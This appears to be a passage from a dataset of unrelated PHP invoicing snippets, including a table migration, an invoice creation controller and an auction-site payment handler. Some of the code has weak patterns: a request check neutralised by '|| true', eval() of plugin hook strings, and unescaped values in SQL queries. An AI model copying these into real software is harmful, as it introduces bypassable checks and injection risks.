resolution varchar(100) DEFAULT NULL,\n archive_it tinyint(1) unsigned NOT NULL DEFAULT '0',\n resolved_on datetime DEFAULT NULL,\n resolved_by_id int unsigned NULL DEFAULT NULL,\n resolved_by_name varchar(100) DEFAULT NULL,\n resolved_by_email varchar(150) DEFAULT NULL,\n PRIMARY KEY (id)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"quotes (\n id int unsigned NOT NULL auto_increment,\n based_on_type varchar(50) DEFAULT NULL,\n based_on_id int(10) unsigned NULL DEFAULT NULL,\n company_id int(5) unsigned NOT NULL DEFAULT '0',\n company_address text,\n currency_id int(4) unsigned NOT NULL DEFAULT '0',\n language_id int(3) unsigned NOT NULL DEFAULT '0',\n name varchar(150) DEFAULT NULL,\n note text,\n status int(4) NOT NULL DEFAULT '0',\n created_on datetime DEFAULT NULL,\n created_by_id int unsigned NULL DEFAULT NULL,\n created_by_name varchar(100) DEFAULT NULL,\n created_by_email varchar(150) DEFAULT NULL,\n sent_on datetime DEFAULT NULL,\n sent_by_id int unsigned NULL DEFAULT NULL,\n sent_by_name varchar(100) DEFAULT NULL,\n sent_by_email varchar(150) DEFAULT NULL,\n sent_to_id int(11) NULL DEFAULT NULL,\n closed_on datetime DEFAULT NULL,\n closed_by_id int unsigned NULL DEFAULT NULL,\n closed_by_name varchar(100) DEFAULT NULL,\n closed_by_email varchar(150) DEFAULT NULL,\n is_locked tinyint(1) unsigned NOT NULL DEFAULT '0',\n last_comment_on datetime DEFAULT NULL,\n PRIMARY KEY (id),\n INDEX based_on_id (based_on_id)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n \n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"quote_items (\n id int unsigned NOT NULL auto_increment,\n quote_id int(5) unsigned NOT NULL DEFAULT 0,\n position int(11) NOT NULL DEFAULT 0,\n tax_rate_id int(3) unsigned NOT NULL DEFAULT 0,\n description varchar(255) NOT NULL DEFAULT '',\n quantity decimal(12, 2) unsigned NOT NULL DEFAULT 1,\n unit_cost decimal(12, 3) NOT NULL DEFAULT 0,\n PRIMARY KEY (id),\n INDEX quote_id (quote_id),\n INDEX position (position)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute('INSERT INTO ' . TABLE_PREFIX . 'config_options (name, module, value) VALUES (?, ?, ?)',\n 'on_invoice_based_on', 'invoicing', serialize('sum_all')\n );\n\n // Retrieve old config options\n $result = DB::execute(\"SELECT * FROM \" . TABLE_PREFIX . \"config_options WHERE name='invoicing_company_details' OR name='invoicing_company_name' OR name='invoicing_pdf_background_color' OR name='invoicing_pdf_border_color' OR name='invoicing_pdf_header_text_color' OR name='invoicing_pdf_page_text_color' OR name='invoicing_pdf_paper_format' OR name='invoicing_pdf_paper_orientation'\");\n\n if ($result instanceof DBResult) {\n $result = $result->toArray();\n\n $new_config_option = array(\n 'print_logo' => true,\n 'print_company_details' => true,\n 'print_header_border' => true,\n 'print_table_border' => true,\n 'print_footer_border' => true,\n 'header_border_color' => '#ccc',\n 'footer_border_color' => '#ccc'\n );\n\n foreach ($result as $config_option) {\n switch ($config_option['name']) {\n case 'invoicing_company_details':\n $new_config_option['company_details'] = unserialize($config_option['value']);\n break;\n\n case 'invoicing_company_name':\n $new_config_option['company_name'] = unserialize($config_option['value']);\n break;\n\n case 'invoicing_pdf_border_color':\n $new_config_option['items_border_color'] = '#' . unserialize($config_option['value']);\n $new_config_option['print_items_border'] = true;\n break;\n\n case 'invoicing_pdf_header_text_color':\n $new_config_option['header_text_color'] = '#' . unserialize($config_option['value']);\n $new_config_option['footer_text_color'] = '#' . unserialize($config_option['value']);\n break;\n\n case 'invoicing_pdf_page_text_color':\n $new_config_option['client_details_text_color'] = '#' . unserialize($config_option['value']);\n $new_config_option['invoice_details_text_color'] = '#' . unserialize($config_option['value']);\n $new_config_option['items_text_color'] = '#' . unserialize($config_option['value']);\n $new_config_option['note_text_color'] = '#' . unserialize($config_option['value']);\n break;\n\n case 'invoicing_pdf_paper_format':\n $paper_format = unserialize($config_option['value']);\n if (!in_array($paper_format, array(Globalization::PAPER_FORMAT_A4, Globalization::PAPER_FORMAT_LETTER))) {\n $paper_format = Globalization::PAPER_FORMAT_A4;\n } // if\n $new_config_option['paper_size'] = $paper_format;\n break;\n } //switch\n } // foreach\n\n // insert new config option\n $result = DB::execute(\"INSERT INTO \" . TABLE_PREFIX . \"config_options (name, module, value) VALUES\n ('invoice_template', 'invoicing', '\".serialize($new_config_option).\"')\"\n );\n\n // delete old config options\n DB::execute(\"DELETE FROM \" . TABLE_PREFIX . \"config_options WHERE name='invoicing_company_details' OR name='invoicing_company_name' OR name='invoicing_pdf_background_color' OR name='invoicing_pdf_border_color' OR name='invoicing_pdf_header_text_color' OR name='invoicing_pdf_page_text_color' OR name='invoicing_pdf_paper_format' OR name='invoicing_pdf_paper_orientation'\");\n } // if\n } // if\n } catch(Exception $e) {\n return $e->getMessage();\n } // try\n\n return true;\n }", "function add() {\n if($this->request->isAsyncCall() || ($this->request->isApiCall() && $this->request->isSubmitted()) || true) {\n if(Invoices::canAdd($this->logged_user)) {\n $default_currency = Currencies::getDefault();\n \n if(!($default_currency instanceof Currency)) {\n $this->response->notFound();\n } // if\n\n $invoice_data = $this->request->post('invoice');\n \n if(!is_array($invoice_data)) {\n $duplicate_invoice_id = $this->request->getId('duplicate_invoice_id');\n \n // Duplicate an existing invoice\n if($duplicate_invoice_id) {\n $duplicate_invoice = Invoices::findById($duplicate_invoice_id);\n if($duplicate_invoice instanceof Invoice) {\n $invoice_data = array(\n 'company_id' => $duplicate_invoice->getCompanyId(),\n 'company_address' => $duplicate_invoice->getCompanyAddress(),\n 'private_note' => $duplicate_invoice->getPrivateNote(),\n 'status' => INVOICE_STATUS_DRAFT,\n 'project_id' => $duplicate_invoice->getProjectId(),\n 'note' => $duplicate_invoice->getNote(),\n 'currency_id' => $duplicate_invoice->getCurrencyId(),\n 'payment_type' => $duplicate_invoice->getAllowPayments(),\n 'second_tax_is_compound' => $duplicate_invoice->getSecondTaxIsCompound(),\n 'language_id' => $duplicate_invoice->getLanguageId()\n );\n \n if(is_foreachable($duplicate_invoice->getItems())) {\n $invoice_data['items'] = array();\n foreach($duplicate_invoice->getItems() as $item) {\n $invoice_data['items'][] = array(\n 'description' => $item->getDescription(),\n 'unit_cost' => $item->getUnitCost(),\n 'quantity' => $item->getQuantity(),\n 'first_tax_rate_id' => $item->getFirstTaxRateId(),\n 'second_tax_rate_id' => $item->getSecondTaxRateId(),\n 'total' => $item->getTotal(),\n 'subtotal' => $item->getSubtotal(),\n );\n } // foreach\n } // if\n } // if\n } // if\n \n // Blank invoice\n if(!is_array($invoice_data)) {\n $invoice_data = array(\n 'due_on' => null,\n 'currency_id' => $default_currency->getId(),\n 'time_record_ids' => null,\n 'payment_type' => -1,\n 'second_tax_is_compound' => $this->active_invoice->getSecondTaxIsCompound()\n );\n } // if\n } // if\n\n $this->response->assign('invoice_data', $invoice_data);\n $this->response->assign(Invoices::getSettingsForInvoiceForm($this->active_invoice));\n \n if($this->request->isSubmitted()) {\n \ttry {\n \tDB::beginWork('Creating a new invoice @ ' . __CLASS__);\n\n if (!is_foreachable($invoice_data['items'])) {\n throw new Error(lang('Invoice items data is not valid. All descriptions are required and there need to be at least one unit with cost set per item!'));\n } // if\n\n \t$this->active_invoice->setAttributes($invoice_data);\n \t $this->active_invoice->setCreatedBy($this->logged_user);\n\n if ($this->active_invoice->getSecondTaxIsEnabled()) {\n $this->active_invoice->setSecondTaxIsCompound(array_var($invoice_data, 'second_tax_is_compound', false));\n } // if\n\n $this->active_invoice->setItems($invoice_data['items']);\n $this->active_invoice->setState(STATE_VISIBLE);\n $this->active_invoice->save();\n\n \t DB::commit('Invoice created @ ' . __CLASS__);\n \t \n $this->response->respondWithData($this->active_invoice, array(\n \t'as' => 'invoice', \n 'detailed' => true,\n ));\n \t \n \t} catch (Exception $e) {\n \t DB::rollback('Failed to create invoice @ ' . __CLASS__);\n \t\t$this->response->exception($e);\n \t} // try\n } // if\n } else {\n $this->response->forbidden();\n } // if\n } else {\n $this->response->badRequest();\n } // if\n }", "public function getIncludedDiscounts();", "function payment($userid = 0, $invoiceid = 0, $invoicetype = 'subscription', $amount = 0, $method = 'account', $gateway = '', $gatewaytxn = '', $isrefund = false, $originalgatewaytxn = '', $silentmode = false)\n {\n global $ilance, $show, $phrase, $page_title, $area_title, $ilconfig, $ilpage;\n\t\t$selectextrafields = '';\n\n ($apihook = $ilance->api('process_debit_payment_start')) ? eval($apihook) : false;\n \n // #### INSTANT PAYMENT NOTIFICATION HANDLER ###########################\n if ($method == 'ipn')\n {\n $sql = $ilance->db->query(\"\n SELECT invoiceid, invoicetype, description, amount, paid, duedate, paiddate, createdate, isif, isfvf, isescrowfee, projectid, buynowid, isenhancementfee, transactionid, projectid\" . $selectextrafields. \"\n FROM \" . DB_PREFIX . \"invoices\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($userid) . \"'\n AND status = 'unpaid'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sql) > 0)\n {\n $res_invoice = $ilance->db->fetch_array($sql, DB_ASSOC);\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET paid = '\" . $ilance->db->escape_string($amount) . \"',\n status = 'paid',\n paiddate = '\" . DATETIME24H . \"',\n paymethod = '\" . $ilance->db->escape_string($gateway) . \"',\n custommessage = '\" . $ilance->db->escape_string($gatewaytxn) . \"'\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($userid) . \"'\n \", 0, null, __FILE__, __LINE__);\n $res_invoice['paiddate'] = DATETIME24H;\n if ($res_invoice['isif'] == '1')\n {\n // this is an insertion fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isifpaid = '1'\n WHERE ifinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n if (fetch_auction('status', $res_invoice['projectid']) == 'frozen' AND ((fetch_auction('isenhancementfeepaid', $res_invoice['projectid']) == '1' AND fetch_auction('enhancementfeeinvoiceid', $res_invoice['projectid']) != '0') OR (fetch_auction('isenhancementfeepaid', $res_invoice['projectid']) == '0' AND fetch_auction('enhancementfeeinvoiceid', $res_invoice['projectid']) == '0') ))\n {\n $sql_date = '';\n $sql = $ilance->db->query(\"\n SELECT date_starts, date_end, featured_date\n FROM \" . DB_PREFIX . \"projects\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n LIMIT 1\n \", 0, null, __FILE__, __LINE__);\n $res = $ilance->db->fetch_array($sql, DB_ASSOC);\n if (strtotime($res['date_starts']) < strtotime(DATETIME24H))\n {\n $date_starts = strtotime($res['date_starts']);\n $date_end = strtotime($res['date_end']);\n $auction_time = $date_end - $date_starts;\n $date_starts = DATETIME24H;\n $date_end = date(\"Y-m-d H:i:s\", strtotime(DATETIME24H) + $auction_time);\n $sql_date = \" ,date_starts = '\" . $date_starts .\"', date_end = '\" . $date_end .\"'\";\n $sql_date .= ($res['featured_date'] != '0000-00-00 00:00:00') ? \" , featured_date = '\" . DATETIME24H . \"'\" : \"\";\n }\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET status = 'open'\n $sql_date\n WHERE project_id = '\" . intval($res_invoice['projectid']) . \"'\n \", 0, null, __FILE__, __LINE__);\n \t$ilance->referral->update_referral_action('postauction', $userid);\n \t$cid = fetch_auction('cid', intval($res_invoice['projectid']));\n \t$state = fetch_auction('project_state', intval($res_invoice['projectid']));\n \t$ilance->categories->build_category_count($cid, 'add', \"insert_\" . $state . \"_auction(): adding increment count category id $cid\");\n }\n }\n else if ($res_invoice['isenhancementfee'] == '1')\n {\n // this is an enhancements fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isenhancementfeepaid = '1'\n WHERE enhancementfeeinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n if (fetch_auction('status', $res_invoice['projectid']) == 'frozen' AND ((fetch_auction('isifpaid', $res_invoice['projectid']) == '1' AND fetch_auction('ifinvoiceid', $res_invoice['projectid']) != '0') OR (fetch_auction('isifpaid', $res_invoice['projectid']) == '0' AND fetch_auction('ifinvoiceid', $res_invoice['projectid']) == '0') ))\n {\n $sql_date = '';\n $sql = $ilance->db->query(\"\n SELECT date_starts, date_end, featured_date\n FROM \" . DB_PREFIX . \"projects\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n LIMIT 1\n \", 0, null, __FILE__, __LINE__);\n $res = $ilance->db->fetch_array($sql, DB_ASSOC);\n if (strtotime($res['date_starts']) < strtotime(DATETIME24H))\n {\n $date_starts = strtotime($res['date_starts']);\n $date_end = strtotime($res['date_end']);\n $auction_time = $date_end - $date_starts;\n $date_starts = DATETIME24H;\n $date_end = date(\"Y-m-d H:i:s\", strtotime(DATETIME24H) + $auction_time);\n $sql_date = \" ,date_starts = '\" . $date_starts .\"', date_end = '\" . $date_end .\"'\";\n $sql_date .= ($res['featured_date'] != '0000-00-00 00:00:00') ? \" ,featured_date = '\" . DATETIME24H . \"'\" : \"\";\n }\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET status = 'open'\n $sql_date\n WHERE project_id = '\" . intval($res_invoice['projectid']) . \"'\n \", 0, null, __FILE__, __LINE__);\n \t$ilance->referral->update_referral_action('postauction', $userid);\n \t$cid = fetch_auction('cid', intval($res_invoice['projectid']));\n \t$state = fetch_auction('project_state', intval($res_invoice['projectid']));\n \t$ilance->categories->build_category_count($cid, 'add', \"insert_\" . $state . \"_auction(): adding increment count category id $cid\");\n }\n } \n else if ($res_invoice['isfvf'] == '1')\n {\n // this is a final value fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isfvfpaid = '1'\n WHERE fvfinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['isescrowfee'] == '1')\n {\n // this is a final value fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects_escrow\n SET isfeepaid = '1'\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n AND feeinvoiceid = '\" . $invoiceid . \"'\n \", 0, null, __FILE__, __LINE__);\n \n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects_escrow\n SET isfee2paid = '1'\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n AND fee2invoiceid = '\" . $invoiceid . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n \n ($apihook = $ilance->api('process_debit_payment_ipn_start')) ? eval($apihook) : false;\n \n // this could also be a payment from the \"seller\" for an unpaid \"buy now\" escrow fee OR unpaid \"buy now\" fvf.\n // let's check the buynow order table to see if we have a matching invoice to update as \"ispaid\"..\n // this scenerio would kick in once a buyer or seller deposits funds, this script runs and tries to pay the unpaid fees automatically..\n // at the same time we need to update the buy now order table so the presentation layer knows what's paid, what's not.\n $buynowcheck = $ilance->db->query(\"\n SELECT escrowfeeinvoiceid, escrowfeebuyerinvoiceid, fvfinvoiceid, fvfbuyerinvoiceid\n FROM \" . DB_PREFIX . \"buynow_orders\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n AND orderid = '\" . $res_invoice['buynowid'] . \"'\n LIMIT 1\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($buynowcheck) > 0)\n {\n $resbuynow = $ilance->db->fetch_array($buynowcheck, DB_ASSOC);\n if ($res_invoice['invoiceid'] == $resbuynow['escrowfeeinvoiceid'])\n {\n // invoice being paid is from seller paying a buy now escrow fee\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isescrowfeepaid = '1'\n WHERE orderid = '\" . $res_invoice['buynowid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['escrowfeebuyerinvoiceid'])\n {\n // invoice being paid is from buyer paying a buy now escrow fee\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isescrowfeebuyerpaid = '1'\n WHERE orderid = '\" . $res_invoice['buynowid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['fvfinvoiceid'])\n {\n // invoice being paid is from seller paying a buy now fvf\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isfvfpaid = '1'\n WHERE orderid = '\" . $res_invoice['buynowid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['fvfbuyerinvoiceid'])\n {\n // invoice being paid is from buyer paying a buy now fvf\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isfvfbuyerpaid = '1'\n WHERE orderid = '\" . $res_invoice['buynowid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n }\n // track income spent\n $ilance->accounting_payment->insert_income_spent(intval($userid), sprintf(\"%01.2f\", $amount), 'credit');\n $ilance->template->templateregistry['customquestions'] = $res_invoice['description'];\n $description = $ilance->template->parse_template_phrases('customquestions');\n $existing = array(\n '{{provider}}' => fetch_user('username', intval($userid)),\n '{{invoice_id}}' => intval($invoiceid),\n '{{invoice_amount}}' => $ilance->currency->format($amount),\n '{{duedate}}' => print_date($res_invoice['duedate'], $ilconfig['globalserverlocale_globaltimeformat'], 0, 0),\n '{{datepaid}}' => print_date($res_invoice['paiddate'], $ilconfig['globalserverlocale_globaltimeformat'], 0, 0),\n '{{description}}' => $description,\n '{{transactionid}}' => $res_invoice['transactionid'],\n );\n $ilance->email->mail = SITE_EMAIL;\n $ilance->email->slng = fetch_site_slng();\n $ilance->email->get('debit_fee_paid_online_account_admin');\t\t\n $ilance->email->set($existing);\n $ilance->email->send();\n $ilance->email->get('debit_fee_paid_online_account');\t\t\n $ilance->email->set($existing);\n $ilance->email->mail = fetch_user('email', intval($userid));\n $ilance->email->slng = fetch_user_slng(intval($userid));\n $ilance->email->send();\n return true;\n }\n return false;\n }\n // #### ONLINE ACCOUNT HANDLER #########################################\n else if ($method == 'account')\n {\n $sql_balance = $ilance->db->query(\"\n\t\t\t\tSELECT available_balance, total_balance\n\t\t\t\tFROM \" . DB_PREFIX . \"users\n\t\t\t\tWHERE user_id = '\" . intval($userid) . \"'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sql_balance) > 0)\n {\n $res_balance = $ilance->db->fetch_array($sql_balance, DB_ASSOC);\n if ($res_balance['available_balance'] >= $amount)\n {\n $avail_balance = $res_balance['available_balance'];\n $total_balance = $res_balance['total_balance'];\n $avail_balance_after = ($avail_balance - $amount);\n $total_balance_after = ($total_balance - $amount);\n $sql_invoice = $ilance->db->query(\"\n SELECT invoiceid, invoicetype, description, amount, paid, duedate, paiddate, createdate, isif, isfvf, isescrowfee, projectid, buynowid, transactionid, isenhancementfee\" . $selectextrafields .\"\n FROM \" . DB_PREFIX . \"invoices\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($userid) . \"'\n AND status = 'unpaid'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sql_invoice) > 0)\n {\n $res_invoice = $ilance->db->fetch_array($sql_invoice, DB_ASSOC);\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET paid = '\" . $ilance->db->escape_string($amount) . \"',\n status = 'paid',\n paiddate = '\" . DATETIME24H . \"'\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($userid) . \"'\n AND invoicetype = '\" . $ilance->db->escape_string($invoicetype) . \"'\n \", 0, null, __FILE__, __LINE__);\n $res_invoice['paiddate'] = DATETIME24H;\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"users\n SET available_balance = '\" . $ilance->db->escape_string($avail_balance_after) . \"',\n total_balance = '\" . $ilance->db->escape_string($total_balance_after) . \"'\n WHERE user_id = '\" . intval($userid) . \"'\n \", 0, null, __FILE__, __LINE__);\n if ($res_invoice['isif'])\n {\n // this is an insertion fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isifpaid = '1'\n WHERE ifinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n $sql = $ilance->db->query(\"\n SELECT date_starts, date_end, featured_date, status, isenhancementfeepaid, enhancementfeeinvoiceid, cid, project_state\n FROM \" . DB_PREFIX . \"projects\n WHERE ifinvoiceid = '\" . intval($invoiceid) . \"'\n LIMIT 1\n \", 0, null, __FILE__, __LINE__);\n $res = $ilance->db->fetch_array($sql, DB_ASSOC);\n if ($res['status'] == 'frozen' AND (($res['isenhancementfeepaid'] == '1' AND $res['enhancementfeeinvoiceid'] != '0') OR ($res['isenhancementfeepaid'] == '0' AND $res['enhancementfeeinvoiceid'] == '0') ))\n {\n $sql_date = '';\n if (strtotime($res['date_starts']) < strtotime(DATETIME24H))\n {\n $date_starts = strtotime($res['date_starts']);\n $date_end = strtotime($res['date_end']);\n $auction_time = $date_end - $date_starts;\n $date_starts = DATETIME24H;\n $date_end = date(\"Y-m-d H:i:s\", strtotime(DATETIME24H) + $auction_time);\n $sql_date = \" ,date_starts = '\" . $date_starts .\"', date_end = '\" . $date_end .\"'\";\n $sql_date .= ($res['featured_date'] != '0000-00-00 00:00:00') ? \" ,featured_date = '\" . DATETIME24H . \"'\" : \"\";\n }\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET status = 'open'\n $sql_date\n WHERE ifinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n $ilance->referral->update_referral_action('postauction', $userid);\n $ilance->categories->build_category_count($res['cid'], 'add', \"insert_\" . $res['project_state'] . \"_auction(): adding increment count category id \" . $res['cid']);\n }\n }\n if ($res_invoice['isenhancementfee'])\n {\n // this is an enhancements fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isenhancementfeepaid = '1'\n WHERE enhancementfeeinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n $sql = $ilance->db->query(\"\n SELECT date_starts, date_end, featured_date, status, isifpaid, ifinvoiceid, cid, project_state\n FROM \" . DB_PREFIX . \"projects\n WHERE enhancementfeeinvoiceid = '\" . intval($invoiceid) . \"'\n LIMIT 1\n \", 0, null, __FILE__, __LINE__);\n $res = $ilance->db->fetch_array($sql, DB_ASSOC);\n if ($res['status'] == 'frozen' AND (($res['isifpaid'] == '1' AND $res['ifinvoiceid'] != '0') OR ($res['isifpaid'] == '0' AND $res['ifinvoiceid'] == '0') ))\n {\n $sql_date = '';\n if (strtotime($res['date_starts']) < strtotime(DATETIME24H))\n {\n $date_starts = strtotime($res['date_starts']);\n $date_end = strtotime($res['date_end']);\n $auction_time = $date_end - $date_starts;\n $date_starts = DATETIME24H;\n $date_end = date(\"Y-m-d H:i:s\", strtotime(DATETIME24H) + $auction_time);\n $sql_date = \" ,date_starts = '\" . $date_starts .\"', date_end = '\" . $date_end .\"'\";\n $sql_date .= ($res['featured_date'] != '0000-00-00 00:00:00') ? \" ,featured_date = '\" . DATETIME24H . \"'\" : \"\";\n }\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET status = 'open'\n $sql_date\n WHERE enhancementfeeinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n $ilance->referral->update_referral_action('postauction', $userid);\n $ilance->categories->build_category_count($res['cid'], 'add', \"insert_\" . $res['project_state'] . \"_auction(): adding increment count category id \" . $res['cid']);\n }\n }\n if ($res_invoice['isfvf'])\n {\n // this is a final value fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects\n SET isfvfpaid = '1'\n WHERE fvfinvoiceid = '\" . intval($invoiceid) . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n if ($res_invoice['isescrowfee'])\n {\n // this is a final value fee.. update auction listing table\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects_escrow\n SET isfeepaid = '1'\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n AND feeinvoiceid = '\" . $invoiceid . \"'\n \", 0, null, __FILE__, __LINE__);\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"projects_escrow\n SET isfee2paid = '1'\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n AND fee2invoiceid = '\" . $invoiceid . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n \n ($apihook = $ilance->api('process_debit_payment_account_start')) ? eval($apihook) : false;\n \n // this could also be a payment from the \"seller\" for an unpaid \"buy now\" escrow fee OR unpaid \"buy now\" fvf.\n // let's check the buynow order table to see if we have a matching invoice to update as \"ispaid\"..\n // this scenerio would kick in once a buyer or seller deposits funds, this script runs and tries to pay the unpaid fees automatically..\n // at the same time we need to update the buy now order table so the presentation layer knows what's paid, what's not.\n $buynowcheck = $ilance->db->query(\"\n SELECT orderid, escrowfeeinvoiceid, escrowfeebuyerinvoiceid, fvfinvoiceid, fvfbuyerinvoiceid\n FROM \" . DB_PREFIX . \"buynow_orders\n WHERE project_id = '\" . $res_invoice['projectid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($buynowcheck) > 0)\n {\n while ($resbuynow = $ilance->db->fetch_array($buynowcheck, DB_ASSOC))\n {\n if ($res_invoice['invoiceid'] == $resbuynow['escrowfeeinvoiceid'])\n {\n // invoice being paid is from seller paying a buy now escrow fee\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isescrowfeepaid = '1'\n WHERE orderid = '\" . $resbuynow['orderid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['escrowfeebuyerinvoiceid'])\n {\n // invoice being paid is from buyer paying a buy now escrow fee\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isescrowfeebuyerpaid = '1'\n WHERE orderid = '\" . $resbuynow['orderid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['fvfinvoiceid'])\n {\n // invoice being paid is from seller paying a buy now fvf\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isfvfpaid = '1'\n WHERE orderid = '\" . $resbuynow['orderid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else if ($res_invoice['invoiceid'] == $resbuynow['fvfbuyerinvoiceid'])\n {\n // invoice being paid is from buyer paying a buy now fvf\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"buynow_orders\n SET isfvfbuyerpaid = '1'\n WHERE orderid = '\" . $resbuynow['orderid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n }\n }\n // track income spent\n $ilance->accounting_payment->insert_income_spent(intval($userid), sprintf(\"%01.2f\", $amount), 'credit');\n $ilance->template->templateregistry['customquestions'] = $res_invoice['description'];\n $description = $ilance->template->parse_template_phrases('customquestions');\n $existing = array(\n '{{provider}}' => $_SESSION['ilancedata']['user']['username'],\n '{{invoice_id}}' => intval($invoiceid),\n '{{invoice_amount}}' => $ilance->currency->format($amount),\n '{{duedate}}' => print_date($res_invoice['duedate'], $ilconfig['globalserverlocale_globaltimeformat'], 0, 0),\n '{{datepaid}}' => print_date($res_invoice['paiddate'], $ilconfig['globalserverlocale_globaltimeformat'], 0, 0),\n '{{description}}' => $description,\n '{{transactionid}}' => $res_invoice['transactionid'],\n );\n $ilance->email->mail = SITE_EMAIL;\n $ilance->email->slng = fetch_site_slng();\n $ilance->email->get('debit_fee_paid_online_account_admin');\t\t\n $ilance->email->set($existing);\n if ($silentmode == false)\n {\n $ilance->email->send();\n }\n $ilance->email->mail = $_SESSION['ilancedata']['user']['email'];\n $ilance->email->slng = $_SESSION['ilancedata']['user']['slng'];\n $ilance->email->get('debit_fee_paid_online_account');\t\t\n $ilance->email->set($existing);\n if ($silentmode == false)\n {\n $ilance->email->send();\n }\n if ($silentmode)\n {\n return true;\n }\n $area_title = '{_invoice_payment_complete_menu}';\n $page_title = SITE_NAME . ' - {_invoice_payment_complete_menu}';\n print_notice('{_invoice_payment_complete}', '{_your_invoice_has_been_paid_in_full}', $ilpage['accounting'], '{_my_account}');\n exit();\n }\n else\n {\n if ($silentmode)\n {\n return false;\n }\n $area_title = '{_invoice_payment_menu_denied_payment_does_not_belong_to_user}';\n $page_title = SITE_NAME . ' - {_invoice_payment_menu_denied_payment_does_not_belong_to_user}';\n print_notice('{_invoice_error}', '{_were_sorry_this_invoice_does_not_exist}'.\"<br /><br />\".'{_please_contact_customer_support}', $ilpage['accounting'], '{_my_account}');\n exit();\n }\n }\n else\n {\n if ($silentmode)\n {\n return false;\n }\n $area_title = '{_funds_not_available}';\n $page_title = SITE_NAME . ' - {_funds_not_available}';\n print_notice('{_invoice_payment_warning_insufficient_funds}', '{_were_sorry_this_invoice_can_not_be_paid_due_to_insufficient_funds}'.\"<br /><br />\".'{_please_contact_customer_support}', $ilpage['accounting'], '{_my_account}');\n exit();\n }\n }\n }\n return false;\n }", "protected function saveInvoice()\n {\n $this->logging->addDebug(__METHOD__ . '|1|');\n if (!$this->forceInvoice) {\n if (!$this->order->canInvoice() || $this->order->hasInvoices()) 